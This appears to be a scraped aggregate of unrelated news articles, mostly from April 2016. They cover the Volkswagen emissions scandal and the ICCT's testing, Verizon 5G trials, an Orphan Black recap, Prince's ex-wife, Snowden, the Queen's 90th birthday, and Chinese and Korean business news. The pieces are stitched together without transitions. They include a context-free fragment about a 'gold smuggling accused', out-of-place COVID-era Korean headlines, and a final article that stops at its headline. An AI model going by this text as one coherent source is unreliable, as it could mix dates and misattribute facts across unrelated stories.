Volkswagen is all out of time; nearly eight months after the world learned of the notorious software cheat that allowed its cars to fool emissions tests, the German automaker was scheduled to appear in court yesterday. It will likely be the most expensive industrial scandal the modern world has seen  dwarfing BPs Deepwater Horizon $53.8 billion payout  inciting litigation not just in the U.S., where Volkswagen is on the hook for $18 billion in fines alone for violating the U.S. Clean Air Act, but across the globe.

But before it became the scandal heard round the industrialized world, it began somewhat quietly at the nondescript D.C. headquarters of the International Council on Clean Transportation (ICCT), where as executive director, Drew Kodjak lead a commission to conduct their own field tests of VWs fleet of diesel cars.

In September, months after the last test had been completed and the ICCT had shared its findings, Kodjak noticed a small fleet of vans from international news networks gathering outside their office in earnest, with the hope of glimpsing the 50-year-old environmental bureaucrat with answers. But Kodjak didnt start to grasp how large a scandal he was tied up in until later that week when, one night, driving his Prius home from work, the news vans even followed him home, where he lives with his wife and three kids. There he discovered another news crew  this one from Japan  descending upon his quiet suburban driveway.

Toward the end of that week we had a team of six staff working full time to answer all of the media inquiries, he remembers. But as the founder and executive director of the unheard of (until then, anyway) organization that had just uncovered the dirtiest secret in the history of the auto industry, it was Drew who reporters from around the globe wanted to hear from. He was the head of the group that thought to take the automakers emission claims to task, by testing their diesel cars out on the open road, under real world conditions.

For years Kodjak has built a career around the underappreciated business of reducing air pollution from cars. After working for governmental organizations like the EPA, in 2001 he established his own authority on auto emissions, helping to launch the ICCT, a non-partisan, science-based NGO not beholden to any one governing body or national standard  making it a nimble and autonomous group that can look beyond each nation's varied laws (every country has different emissions regulations) and act as a global clean air watchdog for a global car industry.





And as the executive director of the ICCT, it was Kodjak who commissioned the study that will serve as the linchpin for prosecutors around the world in the many cases that will be brought against the automaker.

The title of the study, published in 2014, may sound unremarkable, however In-Use Emissions Testing of Light-Duty Diesel Vehicles in the United States (pdf) was anything but that; the explosive report uncovered a software cheat that enabled the emissions controls equipment in 12 million cars sold around the globe to fool regulators testing machinery by running cleanly under lab conditions, thus allowing the cars to spew oxide of nitrogen emissions (NOx) wildly on the open road  up to 35 times the legal limit  obtaining more power and better mileage in the unholy bargain.

The story starts in Europe, where field testing is not required,  says Kodjak. Thats where ICCTs Berlin office discovered alarming discrepancies in emissions levels of European diesels, to Kodjaks surprise. We found that cities like Paris, London, and Madrid were in significant noncompliance with their ambient air quality standards  that was unexpected.

This raised a red flag, but surely this sort of malfeasance couldnt be occurring in the United States, where emissions standards are more robust and strictly enforced. We have warranty, we have recall, we have penalties, and we use them all fairly regularly, says Kodjak.

And yet, ICCT needed to be sure. Thats when Kodjak commissioned a group of engineers and scientists from West Virginia Universitys Center for Alternative Fuels, Engines, and Emissions.

The testing began: ICCT had a fleet of independent engineers drive around California in diesel cars theyd gotten from rental car agencies, and private citizens, stuffing the trunks and back seats with scopes, computers, and the other stuff of mobile laboratories. The results revealed something shocking; Volkswagens diesels were dramatically out of compliance with federal NOx standards under actual driving conditions  standards VW had repeatedly certified they met. The software cheat that enabled the diesels to comply with emissions in those tests was totally ineffective once the cars hit the pavement.

Conducting real world emissions tests in the field, Kodjak and ICCT had gone where neither European nor American regulators tread, and where, one imagines, Volkswagen was hoping they wouldnt go. Initially they faced pushback from car companies, particularly the Germans, who are really the only ones who are selling light-duty diesels here in the United States.

But VW was quick to back down when it couldnt come up with a reasonable explanation, let alone a fix. And then it failed the California Air Resources Boards [CARB] retests, and suddenly, just like that, all new VW diesels were banned.

And so last September 18th was the day the company could stall no longer, and was forced to confess to the disgraceful and embarrassing reality that some eight years earlier it had come up with the software cheat. It was also the day that the incessant news camera crews from every corner of the world began to arrive in earnest at Drew Kodjaks doorstep.

Hes a very smart guy, says Margo Oge, a former director of the EPAs Office of Transportation and Air Quality and one of Kodjaks former bosses. Time and time again we have seen that a group like ICCT has been able to address an issue that the government could not.

Kodjak doesnt present as a crusader. He wears a gray suit and a tie, rarely raises his voice, and will not venture an opinion thats not supported by data. He knows how the system is meant to work, and he works within it. He is not a bomb-thrower. He believes in science and data and cooperation with industry.

And even now, as Volkswagen prepares for what is sure to amount to a record-breaking settlement, there arent any celebratory bottles of champagne being popped in the offices of the ICCT. This was not really a victory for us, he concedes, because we dont take great pleasure in this. We have no schadenfreude.
Volkswagen and the U.S. Department of Justice reached a deal in principle Thursday to resolve claims the German automaker rigged nearly 600,000 cars so they could comply with American clean air laws.

Senior U.S. District Judge Charles Breyer said a final settlement is expected to include an offer for Volkswagen to buy back the cars or fix them.

Compensation to the owners of the vehicles will also be part of the settlement package but Breyer did not give details, saying only there will be "substantial compensation." Those briefed on the agreement say Volkswagen will make payments to owners totaling more than $1 billion.

Some owners of new models that were recently repaired may receive little compensation. But owners of older Volkswagens, about 325,000 of them, will likely get more because repairs will be more costly.

The company is facing a civil lawsuit after admitting in September that it included the cheating software in its diesel cars and sport utility vehicles sold since the 2009 model year. Tests showed those cars emitted up to 40 times the permissible amounts of the hazardous pollutant nitrogen oxide.

The financial impact on Volkswagen has been substantial. An analyst at Warburg Research estimated the scandal has cost the company more than $ 32 billion. In an attempt to recapture lost market share, the automaker cut prices on its vehicles.
The U.S. telecom behemoth Verizon Communications Inc. VZ is currently conducting field trials for its upcoming 5G wireless network with its partners. The company is looking at mobile hotspot and fixed wireless for initial deployment of the next-generation 5G wireless networks in the U.S. in 2017.

Verizons CFO Fran Shammo told investment analysts yesterday at the companys first-quarter 2016 earnings conference call. The CFOs statement is in line with the companys focus on building a fiber and wireless infrastructure in order to deliver mobile video efficiently.

The wireless giant, which was the first to deploy the 4G LTE (Long-Term Evolution) network nationwide, is initially testing equipment at 15GHz, 28GHz, 39GHz and 64GHz frequency bands for 5G network deployments. The companys partners in its 5G projects are Cisco Systems Inc. CSCO, Ericsson LM ERIC, Nokia Corp. NOK and Samsung.

Although several industry researchers have predicted that a full-fledged 5G network deployment will not start until 2020, Verizon expects some level of commercial deployment in 2017. Industry researchers expect the Asia-Pacific region to spearhead the global deployment of 5G wireless networks. However, neither South Korea nor Japan -- the two leading countries opting for 5G network -- are likely to start commercial deployment before late 2018.

Advantage of 5G

Verizon claims that its 5G network will provide a download speed of 1 Gbps (gigabit per second) which is 200 times the throughput of the currently available standard 4G LTE network. Latency period of data delivery will be in single milliseconds. Further, 5G technology is designed to be more power efficient than any other standard wireless networks available these days. Therefore, 5G-enabled mobile devices are likely to last much longer than their 3G or 4G counterparts.

Additionally, superfast 5G mobile networks will be of utmost necessity in managing the exponential growth of Internet-connected devices, popularly known as Internet of Things (IoT). According to a recent report by research firm International Data Corporation (IDC), worldwide spending on IoT is slated to grow at a 17% compound annual growth rate (CAGR) to nearly $1.3 trillion in 2019 from $698.6 billion in 2015.

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The Bottom Line

The U.S. telecom industry has lately emerged as an intensely contested space where success thrives largely on technical superiority, quality of services and scalability. Thus, in order to stay ahead of competitors, existing players need to be constantly on their toes to introduce innovative products. At this juncture, we believe Verizons drive for 5G wireless network bodes reasonably well for its future growth. The stock currently carries a Zacks Rank #4 (Sell).

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Warning: This recap of the Transgressive Border Crossing episode of Orphan Black contains character and storyline spoilers.

Now that the viewers are caught up on the Beth-related backstory that has set this seasons central conflict between the Neolutionists and the Clone Club in motion, its time for the other characters to discover the necessary intel back in the present day. Having to re-explain to the rest of the clones what we at home already know might have sapped the second episode of Orphan Blacks fourth season of some of the momentum generated by its gangbusters premiere. Fortunately, this hour does a nice job bringing everyone within the show, particularly Sarah, up to speed on the current status quo while also setting more personal, clone-specific storylines in motion.

Picking up directly where the final moments of the premiere left off, Transgressive Border Crossing, forces Sarah, Kira, Mrs. S, and Kendall  the source of both the Leda and Castor clones  to burn their idyllic Iceland existence to the ground and hightail it back to North America. Hiding out alongside Cosima and Scott in the basement of a comic book store, she gets the skinny from Art about Beths final investigation, and the existence of the new clone, M.K. Picking up the trail from where Detective Childs left off, Sarah heads back to good ol Club Neolution and gets mistaken for M.K. by a deep cover source. Hes got disturbing new video footage of those super-small worms we saw being extracted from a Neolutionist cheek last week; only here, the extraction goes wrong, and the worm grows tendrils that spread all over the poor dudes face. Ive heard rumors of high-level Neos with implanted tech, but this is next level. Its organic, maybe even gene-spliced, says the guy, who quickly clues into the fact that the person standing next to him isnt M.K.

Related: Catch Up on Orphan Black With Our Recaps

But a blown cover is the least of Sarahs worries. Turns out that shes got one of those worms inside her own cheek, which she clues into after being confused for M.K. again  this time by the same pair of disguised EMS workers we witnessed burying the body of a dead Neolutionist in the woods at the top of last weeks premiere. And as next weeks promo teases, shes not the only clone who has a previously unknown pet sewn inside her mouth.

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And while you squirm thinking about that, here are this weeks revised Clone Power Rankings! Now with extra Eww factor.

1. Sarah

Our alpha clone is once again driving the narrative in a big, big way, taking point on the Neolutionist investigation and tracking down the mysterious M.K. We also witness the slight fracturing of her once rock-solid relationships with her brother, Felix, and her growing daughter, Kira. Those emerging twin conflicts arent good news for Sarah, but they will definitely heighten the dramatic stakes this season.

2. Helena

The only thing better than Hungry Helena is Pregnant Helena. This week, the Ukrainian wonder impersonates Alison (only with better hair) and discovers that shes carrying identical twins. Her description of being pregnant, A little tired and many farts, could also double as the title for her inevitable parenting guide.

Related: Orphan Black: Watch the Cast and Creators Talk Season 4 at 92Y



3. Cosima

Watching Cosima geek out about living and working in her own personal Bat Cave beneath a comic book shop (What more could a girl want, right?) warmed the hearts of nerds everywhere. Meanwhile, seeing her toke up on organic marijuana warmed the hearts of stoners everywhere, and her deep sadness over Delphines disappearance warmed the hearts of romantics everywhere. Basically, she warmed a lot of hearts this week.

4. M.K.

M.K. carefully stayed in the shadows, communicating with Sarah only via phone. For now, shes trying to prove that Sarah needs her more than she needs Sarah. And its working.

5. Alison

Alisons mixed emotions over Helenas pregnancy  when she herself cant  brings out a new side of her personality. Its rare, but thus compelling, to see her so emotionally vulnerable.

6. Beth

Lets all pour a glass out for Detective Childs, who bids a somber farewell to M.K. before heading off to meet her destiny in front of a train. (Note that shes sporting the same red shirt and hairstyle in her goodbye scene that shes glimpsed in at the start of the series premiere.)

Non-Clone MVP: Scott

The Robin to Cosimas Batman is taking their post-Dyad exile well, keeping a positive attitude even when hearing bad news like Kendells leukemia diagnosis. Were glad that hes still part of the Clone Club.

Orphan Black airs Thursdays at 10 p.m. on BBC America.


Manuela Testolini is paying tribute to her late ex-husband Prince by giving back.

The 39-year-old businesswoman told ET's Nancy O'Dell that she is "heartbroken beyond words" upon hearing the news of the 57-year-old musician's death on Thursday, and revealed that she had recently reached out to her ex. "Prince and I had a magical journey together and I loved him immensely," Testolini, who shared a personal image of the two with ET, said of their marriage. "I knew him as a husband, friend and fierce philanthropist. Philanthropy brought us together and it was Prince that encouraged me to start my own charity over 10 years ago."

WATCH: Looking Back at Prince's Biggest Love Affairs

Prince and Testolini are said to have first met in 2001 when she was working for his charity. She was 24 and he was 43. They were married that same year, and divorced amicably in 2006. Testolini continued her charity work and went on to marry musician, Eric Benet, in 2011.

"I just reached out to [Prince] a few days ago to let him know that I was building a school in his honor," she continued. "My heart aches that the school will now be built in his memory."

NEWS: Rainbow Appears Over Prince's Estate Hours After His Death

Testolini's foundation, In a Perfect World, has a program called REACH (Rural Education and Community Harmony), which funds the construction of 23 schools in some of the world's most economically poor countries, including Nepal, Haiti, Senegal, Burkina Faso, Mali, Malawi and Nicaragua. The goal of all of the foundation's schools is to give children in rural areas -- girls, in particular -- access to quality education.

Getty Images

Testolini has yet to determine where Prince's school will be, as she was hoping he would have chosen the country. She tells ET that she feels like building 10 schools for him, and that, when her head is clear, she will think about a campaign to make that happen.

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She says news of Prince's death has left her with a "devastating feeling of pain and loss."

ETONLINE

"The love we shared, the music he made, and our life together is forever engraved in my heart," she lamented. "I will always love and respect him. I am heartbroken beyond words."

EXCLUSIVE: Mariah Carey Reacts to Prince's Death -- 'I'll Never Get Over It'

Carmen Electra, who Prince mentored upon meeting her in 1991, also spoke to ET about hearing the news that the music icon had died. "Prince, to some people, was this untouchable force," Electra, 44, shared. "For someone who people looked up to like a god, this musical genius, this non-human thing, this entity, to be powerless and to lose his life  it's shocking. I feel I don't even know what to say I didn't think this day would come."

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A Norwegian law firm says it has filed a lawsuit with an Oslo court so American whistleblower Edward Snowden -- the leaker of U.S. government documents -- can safely travel to Norway for a prestigious award ceremony without fear of extradition to the United States.



Lawyers at the Schjodt law firm in the Norwegian capital said they filed the petition on behalf of the former U.S. intelligence contractor and the Norwegian PEN, which has invited him to receive its Ossietzky Prize for 2016 on November 18.

The lawsuit asserts that the extradition of Snowden would be contrary to Norwegian and international laws, and for that Schjodt is seeking a declaratory judgment from the court.

The U.S. Espionage Act prohibits Snowden or any whistleblower in his position from raising any defense that he acted in the public interest, that the disclosures benefited society, or that the disclosed information had been improperly withheld by the government, Schjodt said.



Norwegian PEN has awarded Snowden the Ossietzky Prize for 2016 for his contribution to defend freedom of expression, the group said in a statement, and will do its utmost to ensure that Snowden may receive the prize in person.

In 2013, the former U.S. National Security Agency contractor leaked to the press details of a secret government eavesdropping program and left the country.



Under the U.S. Espionage Act, Snowden faces charges in the U.S. that could land him in prison for up to 30 years.

PEN is the original acronym for "Poets, Essayists, Novelists" and now it stands for "Poets, Playwrights, Editors, Essayists, Novelists." It includes writers of any form of literature, such as journalists and historians.
Chinese President Xi Jinping has been adorned with the new title of "commander in chief" of the country's Joint Operations Command Center, and with it has assumed a more prominent role in directing the Chinese military, state-run media reported Thursday.

Xi was seen in news reports Wednesday and Thursday wearing camouflage battle dress bearing the centers insignia for the first time publicly.

As well as being president, Xi is already the Central Military Commission chairman, which gives him authority over the 2.3-million-member People's Liberation Army, the largest standing army in the world. He is also general secretary of the Chinese Communist Party and chair of the recently created National Security Council.
Special celebrations are taking place in Britain and the Commonwealth to mark the 90th birthday of Queen Elizabeth II. Royal gun salutes were fired in London, while the Westminster Abbey bells tolled in the queen's honor.

British Prime Minister David Cameron and opposition leader Jeremy Corbyn led tributes in the House of Commons to country's longest-serving monarch.

"Her Majesty has been steadfast, a rock of strength for our nation, for our Commonwealth and on many occasions for the whole world," Cameron said, adding that with her "unshakable sense of duty" the queen had provided counsel to 12 British prime ministers and met a quarter of all the U.S. presidents in history.

"Her Majesty has lived through some extraordinary times in our world, the prime minister said "As her grandson Prince William has said, time and again, quietly and modestly the queen has shown us all that we can confidently embrace the future without compromising the things that are important."

Labor Party leader Corbyn said Queen Elizabeth had served her country "with a clear sense of public service and public duty."

"Today we are talking about a highly respected individual who is 90. And Mr. Speaker whatever different views people across this country have about the institution," Corbyn said, adding "the vast majority share an opinion that Her Majesty has served this country and has overwhelming support with a clear sense of public service and public duty, which the prime minister has just indicated."
Technicians were killed or injured and a mobile missile launcher was damaged when a North Korean medium-range ballistic missile blew up in mid-air on April 15, according to a U.S. website.

"Two road-mobile Musudan launchers were set up for the test, but the second was not fired after the explosion," the rightwing Washington Free Beacon reported Wednesday quoting a U.S. military officer and a diplomatic source. "The missile blew up about 300 feet above the ground."

The diplomatic source blamed the explosion, which occurred within five or six seconds after launch, on a faulty fuel system or turbo pump failure.

U.S. airborne and space-based surveillance systems closely monitored the missile test and "videotaped the explosion during the attempted launch from a beach on North Korea's east coast," the Free Beacon added.
LG Electronics and U.S. chipmaker Qualcomm have resolved a dispute over the terms of their licensing agreement.

"We are pleased to have resolved our dispute with Qualcomm through good faith negotiation and mutual respect," an LG spokesman said in a press release on Thursday.

Both sides declined to reveal specific details of the agreement.

Qualcomm holds the original patent for CDMA, or Code Division Multiple Access, a key technology for mobile communications. Manufacturers pay Qualcomm about 5 percent of the sale price of each smartphone in exchange for the right to use the technology.

Last December, LG asked the International Chamber of Commerce in Paris to arbitrate the dispute, in which it claimed its royalty payments to Qualcomm were too high.
Seven North Korean women who worked in the same restaurant in China as the 13 staff who defected told CNN Thursday that the defectors were tricked by the store's manager and a South Korean businessman.

While the 13 opted to defect, the seven others claimed they chose to return to the North. "I think about our colleagues being deceived and dragged to South Korea and facing extreme hardship there," said Han Yun-hui, one of the workers who returned to Pyongyang. "It tears our hearts."

CNN conducted the interview at the Koryo Hotel in the North Korean capital on Monday.

They claimed the restaurant manager deceived the other 12 waitresses into defecting by lying about where they were headed. "In mid-March our restaurant manager gathered us together and told us that our restaurant would be moved to somewhere in Southeast Asia," said head waitress Choe Hye-yong.

Choe claimed that by the time the manager revealed, only to her, that they were actually defecting to South Korea, she only had time to "warn" some of the waitresses.
Oxy Reckitt Benckiser of the U.K. for the first time apologized to customers and promised on Thursday to compensate them for damage its humidifier sterilizer might have caused.

The apology comes a full five years after the Korean government first linked the deaths of more than 100 people from lung problems with germicides they used in sterilizing household humidifiers.

Oxy in a statement Thursday apologized "to those suffering and their families for the disappointment and anxiety due to the lack of a more timely communication."

"We have a long and established safety track record and have never before faced an issue like this. Nevertheless, we deeply acknowledge and recognize our social responsibility to respond" to the matter.

The company in 2014 pledged W5 billion to be used in helping victims, but they have not seen a penny. Now it is offering another W5 billion (US$1=W1,136).

Oxy claims it abided by Korean court procedures following a lawsuit by the families of the victims and "most of the issues" had been settled.

The company said it had offered its condolences during a National Assembly hearing in 2013 and has been searching for a solution since.

But the victims families said this is too little, too late. Kim Deok-jong (40), whose son died from lung problems caused by the germicide, said, "There was no acknowledgement of their mistakes and the company is interested only in regaining the trust of customers. It looks like their statement was the result of increasing pressure from prosecutors who are investigating the case."

Meanwhile, prosecutors launched an investigation into allegations that Oxy intentionally deleted comments from customers on its website complaining about the side effects of the germicide.

Prosecutors intend to wrap up preliminary investigations of Oxy staff and plan to summon former and incumbent executives starting next week.
Some 68 percent of working mothers are willing to hire foreign housekeepers as long as they can speak some Korean, a survey suggests.

Prof. Mo Jong-ryn at Yonsei University asked 500 working mothers in Seoul late last year whether they would hire full-time foreign housekeepers who speak Korean at a relatively low W700,000 a month (US$1=W1,144). Some 67.8 percent said yes.

Some 40.6 percent said they would hire them even if they could not speak Korean.
Former Guanshengyuan chairman died after being hit by a stone 'kicked off by monkeys'

From:Shanghai Daily | 2016-04-22 11:08

THE former board chairman of Shanghai Guanshengyuan Food (Group) died after being hit by a stone said to be kicked off by monkeys at a scenic spot of the Yuntai Mountain in Henan Province on Tuesday.

Weng Mao, 67, had his brain hit by the stone on his way back from the Xiaozhaigou attraction to the Luliang pavilion, a statement issued by the management bureau of the scenic spot said.

He died at the Xiuwu County People's Hospital.

The roads to the scenic spot had been closed, the statement said.

Weng's trip was organized by Shanghai Yelv Travel Agency.

However, Zhou Yi, an employee of the travel agency, said monkeys were not to be blamed for Weng's death.

The scene of the incident was not close to the macaque valley, Zhou told Shanghai Daily.

In addition, there were falling stones when Zhou and Weng's relatives arrived at the scene, which was dangerous, he said.

He accused the scenic spot operator of negligence and shirking responsibility.

Investigation is underway.

Guanshengyuan is Shanghai's time-honored food manufacturer known for its White Rabbit brand candy.

Weng was in good health and was a shutterbug, Zhou said.

He said Weng loved outdoor activities.

Yuntai Mountain is a natural reserve of macaques.

Former Guanshengyuan chairman died after being hit by a stone 'kicked off by monkeys'
S. Korea's top diplomat to visit China: Seoul

2016-04-22 14:46

SEOUL - South Korean Foreign Minister Yun Byung-se plans to visit China next week to attend the Conference on Interaction and Confidence Building Measures in Asia (CICA) meeting of foreign ministers, Seoul's foreign ministry said on Friday.

The CICA, which was established in 1992 as a forum for dialogue and consultations on security issues in Asia, has held foreign ministers' meeting every four years. Next week's meeting will be the fifth edition.

The fifth round will be held in Beijing from April 27 to 28.

China, which holds the CICA presidency from 2014 to 2016, hosted the fourth CICA summit in Shanghai in 2014.

The CICA has 26 member states, including China, Russia, India, Iran, Kazakhstan, Mongolia, Turkey and Thailand.

It also includes countries like the United States and Japan and international organizations as observers.

South Korea joined the CICA in 2006 when then foreign minister Ban Ki-Moon, who is currently UN secretary general, attended the second CICA summit as a special envoy of then president Roh Moo-Hyun, according to Seoul's foreign ministry.

Since then, South Korea had sent vice foreign ministers to the CICA summit and foreign ministers' meeting. In 2014, the country dispatched its unification minister to Shanghai for the fourth CICA summit.

Yun will become the first South Korean foreign minister to attend the CICA meeting of foreign ministers, the ministry said.
"Meet in Beijing" Canada concert set for Monday

From:chinadaily.com.cn | 2016-04-22 12:24

The poster of the 16th Meet in Beijing Arts Festival Opening Concert. [Photo/meetinbeijing.org.cn]

A Canada-themed concert associated with the 16th "Meet in Beijing" Arts Festival will be held at the National Center for the Performing Arts (NCPA) on Monday.

The Qingdao Symphony Orchestra will perform, under the baton of Chinese conductor Zhang Guoyong on April 25, 2016.

Other scheduled performers of the concert include the Buzz Brass Quintet, Ottawa Bach Choir, Ensemble Caprice Baroque Orchestra, soprano Mary Catherine Wright and dancers from the GOH Ballet Academy.

"The festival will provide a platform for artists from different countries to communicate and promote friendship," said Zhang, who is the concerts art director.

With Canada as the country honored this year, more than 100 Canadian artists will visit China to join in the festival. Mark Rowswell, a well-known Canadian scholar and host, better known as "Dashan" in China, will serve as the image ambassador of this year's "Meet in Beijing" Arts Festival.

The festival is an annual, large-scale international event inaugurated in 2000.

Ensemble Caprice Baroque Orchestra, Canada. [Photo/meetinbeijing.org.cn]
While talking to a TV channel, the gold smuggling accused had alleged on Friday that the leaders -- two former ministers and an ex-Assembly speaker -- had sought sexual favours from her.
#COVID-19 S. Korea's new COVID-19 infections continue on-week growth amid resurgence woes South Korea's new COVID-19 cases fell to below 15,000 on Monday, but the daily count recorded a marked rise from the previous week amid concerns over a virus resurgence in the wint...

#Korean Air-Cebu incident Korean Air flight overruns Cebu runway, no injuries reported Korean Air Lines Co. said Monday its flight KE631 with 173 people on board overran the runway while landing at Cebu International Airport in the Philippines a day earlier but no in...
You have to admire Limp Bizkit fans - not only do they still exist, but they are eternal optimists.

A group of the nu-metal band's fans assembled at a petrol station in Dayton, Ohio on Wednesday, because someone started a rumour online that Limp Bizkit would show up to play a free gig.

The reason for the gig was explained as a celebration of April 20th, or 4/20 in the American calendar style. The date has become a counterculture holiday for marijuana enthusiasts as '420' has become a synonymous with cannabis consumption.

Yet although Limp Bizkit frontman Fred Durst, the Dayton Police Department and even the guy who started the hoax rumour denied that the gig was actually happening, a group of fans turned up to the SunCo Gas station, nonetheless.

Watch footage of a load of people standing around aimlessly below:

Via ConsequenceofSound.net
Finland's postal service will do more than just deliver your letters and parcels this summer. Their employees will be mowing lawns too.

The State owned postal service, Posti is offering a weekly grass cutting service with options of a 30 or 60 minute lawn-mowing time. The service will only be available on Tuesdays though as the volume of post tends to be lighter then.

It won't come cheap though. There is a 73 monthly rate for the half hour sessions. It is not know if the price goes up for the 60 minute ones. Also customers have to provide their own lawnmowers.

The initiative is part of a Posti's strategy to tackle the falling demand for its services. The company also recently revised their working hours so that post would be delivered in the evening when people are home.

Not everyone is happy about the service though. The Real Estate Employers group, which represents property maintenance companies, says it's concerned that postal workers don't have the right skills for the job.

"Using power-driven machinery and equipment requires a certain expertise," says managing director Pia Gramen. "It is hard to believe that just anyone can start to cut lawns."

Would you like to see a similar service introduced by An Post?

Via BBC
China mulls 20 floating reactor platforms to aid oil drilling Updated: 2016-04-22 07:45 By Liu Chang and Zhong Nan(China Daily)

Offshore oil drilling demand will keep growing in the next five years, with a market value of 100 billion yuan. First nuclear plant is being constructed in the coastal city of Huludao in Liaoning

China is planning to build about 20 floating reactor platforms to meet the demand of maritime atomic propulsion, driving a market that could be worth tens of billions of dollars, a report said on Thursday.

The country's first-ever floating nuclear plant is about to start the final assembly in Huludao, a coastal city in Liaoning province, and it will be built by Bohai Shipbuilding Heavy Industry Co Ltd, a unit of China Shipbuilding Industry Corp, according to eworldship, a Shanghai-based maritime industry information provider.

"CSIC is the first company with the permission to construct the floating nuclear-powered vessel, and it aims to become the strongest builder of floating nuclear platforms within five years," the report quoted Wu Zhong, general manager of CSIC Asset Management Co Ltd, as saying during an expert review held this week.

Zhu Hanchao, deputy chief engineer of the CSIC 719 Research Institute, said that the average cost of a pilot project is about 3 billion yuan ($463 million), but it will be able to generate sales of 22.6 billion yuan in 40 years, the life span of the vessel. He said that the cost could go lower as the company realizes mass production of such platforms.

The CSIC 719 was established in 2014 to develop a maritime nuclear power platform and core technologies in the field.

At the end of last year, the shipbuilder got the nod from the National Development and Reform Commission, the country's top economic regulator, to start research for a demonstration project of the platform.

Earlier this year, China General Nuclear Power Group signed a strategic cooperation agreement with CSIC to develop a reactor design200-megawatt ACPR50S for the offshore nuclear power platform.

CGN is currently working on the preliminary design for ACPR50S, which is expected to start construction in 2017 and be commissioned by 2020.

The floating nuclear power plant, which can be equipped inside a section of the vessel, is often used to supply stable electricity not only to remote areas, but also to large industrial facilities such as seawater desalination plants and offshore oilfield exploration rigs, CGN said.

"The project has a wide range of civilian applications in providing safe and stable energy for maritime resources exploration and development," CGN said.

The offshore oil drilling demand will keep growing in the next five years with a market value of 100 billion yuan, while the industry of nuclear-powered equipment is expected to reach 50 billion yuan per year in the Bohai Bay, Wu Zhong said.
China unveils plan to connect online and offline commerce Updated: 2016-04-22 07:57 (Xinhua)

BEIJING - Investment in broadband Internet in rural areas, support for development of virtual reality (VR) and encouragement of the sharing economy are highlights of an action plan drawn by the State Council for integrating online and offline commerce.

The government will support more use of mobile Internet, the Internet of Things and big data in marketing, payment and after-sale services to meet consumer needs and reduce consumption costs, according to the plan released on Thursday.

When it comes to the sharing economy, China "will learn from foreign countries to mobilize idle resources and create jobs," it said.

There will be preferential measures to help the construction of logistics and cold chain infrastructure, and the government will increase spending on such facilities, under the plan.

Better Internet connections in rural areas and lower Internet service charges will narrow the "digital divide" with urbanites, it went on.

The document backed the research and development of VR as well as of wearable devices, and suggested more e-commerce firms and farm produce sellers form partnerships.

Local governments were asked to set up funds to support e-commerce, and to channel more private and overseas capital into this sector.

In addition, China will work on drafting laws and regulations regarding distribution and e-commerce, according to the plan.
Vice-Premier urges efforts to improve foreign trade Updated: 2016-04-22 10:16 (Xinhua)

BEIJING - Chinese Vice-Premier Wang Yang on Thursday urged greater efforts to improve foreign trade.

Wang said at a teleconference that China's foreign trade fundamentals have not changed despite mounting downward pressures this year.

Tepid global demand and slowing domestic economy have dealt a blow to China's foreign trade. It fell 7 percent year on year in 2015, with exports down 1.8 percent and imports down 13.2 percent.

However, the March data provided some relief. Exports last month surged 18.7 percent year on year, the first increase since December, compared with falls of 20.6 percent in February and 6.6 percent in January. Imports dipped 1.7 percent, an improvement from February's 8-percent drop.

The government will use a combination of fiscal, financial and land policies to encourage processing trade to relocate to the central and western regions, Wang said.

The government will encourage enterprises to build their brands and expand their marketing networks and will support the development of cross-border e-commerce industry, he said.

More efforts should be made to improve foreign trade environment, promote nationwide integrated cargo-clearance system and strengthen international cooperation on production capacity, Wang added.
Data point to Chinese economy shrugging off sluggishness and stabilizing Updated: 2016-04-22 07:08 By Andrew Moody(China Daily Europe)

Has the Chinese economy finally turned the corner? Although first quarter GDP growth of 6.7 percent published on April 15 was the slowest since the financial crisis, most of the recent economic data now point to the economy stabilizing.

Growth was boosted by a revival in the housing market, with property investment rising by 6.2 percent, its fastest pace for a year, and also by a 10.7 percent increase in fixed asset investment, mainly on infrastructure projects.

There is also evidence the economy is continuing to restructure away from manufacturing and traditional industries with services expanding at 7.6 percent - making up 56.9 percent of total GDP growth.

The economy also generated 3.18 million jobs in the first quarter, just under a third (31.8 percent) of the government's target for the whole year.

Most of the indicators point to China shaking off some of the sluggishness that was particularly evident in the second half of last year.

The International Monetary Fund immediately raised its forecast for China's 2016 growth from 6.3 to 6.5 percent in line with the government's forecast of between 6.5 and 7 percent.

The GDP figures were published only two days after the announcement of a surge in China's trade performance, with exports increasing 18.7 percent in March, after falling in January and February; and imports declining just 1.7 percent, compared with an 8 percent fall the previous month.

Sheng Laiyun, a spokesman for China's National Bureau of Statistics, said the first-quarter performance suggests a new momentum in the economy.

"We have no reason not to conclude that the Chinese economy has had a good start (to the year)," he said.

Louis Kuijs, head of Asia economics at Oxford Economics, also believes there are finally grounds for optimism.
Tencent launches business WeChat Updated: 2016-04-22 07:11 By Meng Jing(China Daily Europe)

The market is currently dominated by Alibaba's DingTalk, thanks to first-mover advantage

WeChat, China's major social networking application, owned by Tencent Holdings Ltd, on April 18 rolled out a separate app targeting enterprise users.

The launch of the app, which is designed for work-related communication, puts the Hong Kong-listed Tencent in direct competition with its archrival Alibaba Group Holding Ltd in China's potentially huge enterprise software market.

Medical authorities in Hefei, capital of Anhui province, launch an interactive medical service on the WeChat platform at a local community. The new service will help residents make appointments or consultations with doctors on their smartphones. Chen Sanhu / For China Daily

The app, named Qiye Weixin or Enterprise WeChat in English, offers a basic online chatting function just like the one offered on WeChat. It also provides professional features including clocking-in and clocking-out functions as well as a leave request option to allow users to do all their office-related work via their smartphones.

Pony Ma, chief executive officer of Tencent, says that Enterprise WeChat is an important product for the company to extend its reach to business users. "We hope the product can help companies boost work efficiency," he says.

Shenzhen-based Tencent says in a statement that the app is suitable for enterprises and organizations of different sizes, ranging from small and micro businesses with dozens of people to big corporations employing tens of thousands.

The first edition of the app is compatible with iOS, Android, Windows and Mac operating systems and is free to use.

Ma Shicong, an analyst at the Beijing-based Internet consultancy Analysys International, says that with the number of individual users exceeding 650 million, WeChat is keen to expand its market to enterprise users.

"The enterprise software market is still taking shape. The sooner Tencent jumps into the market, the more time it will have to build its reputation and cultivate users," she says.

There are no official statistics about the market size, but industry observers says that DingTalk, which was launched by Alibaba in February 2015, is the current market leader thanks to its first-mover advantage.

The latest data showed that DingTalk, which targets small and medium-sized businesses, has gained more than 1 million enterprise users.

But Ma Shicong from Analysys International says that there are opportunities for Enterprise WeChat to catch up since Tencent already laid a foundation by introducing its first enterprise-use instant messaging tool, RTX, in 2003, and other enterprise services.

"It is not difficult for cash-thirsty small enterprises to use such apps because the cost for them to develop their own office automation systems is high. But convincing deep-pocketed companies to use apps provided by third-party developers remains a challenge due to concerns over information security," she says.

mengjing@chinadaily.com.cn
Chinese eyeing private equity firms' portfolios Updated: 2016-04-22 07:11 By Cecily Liu(China Daily Europe)

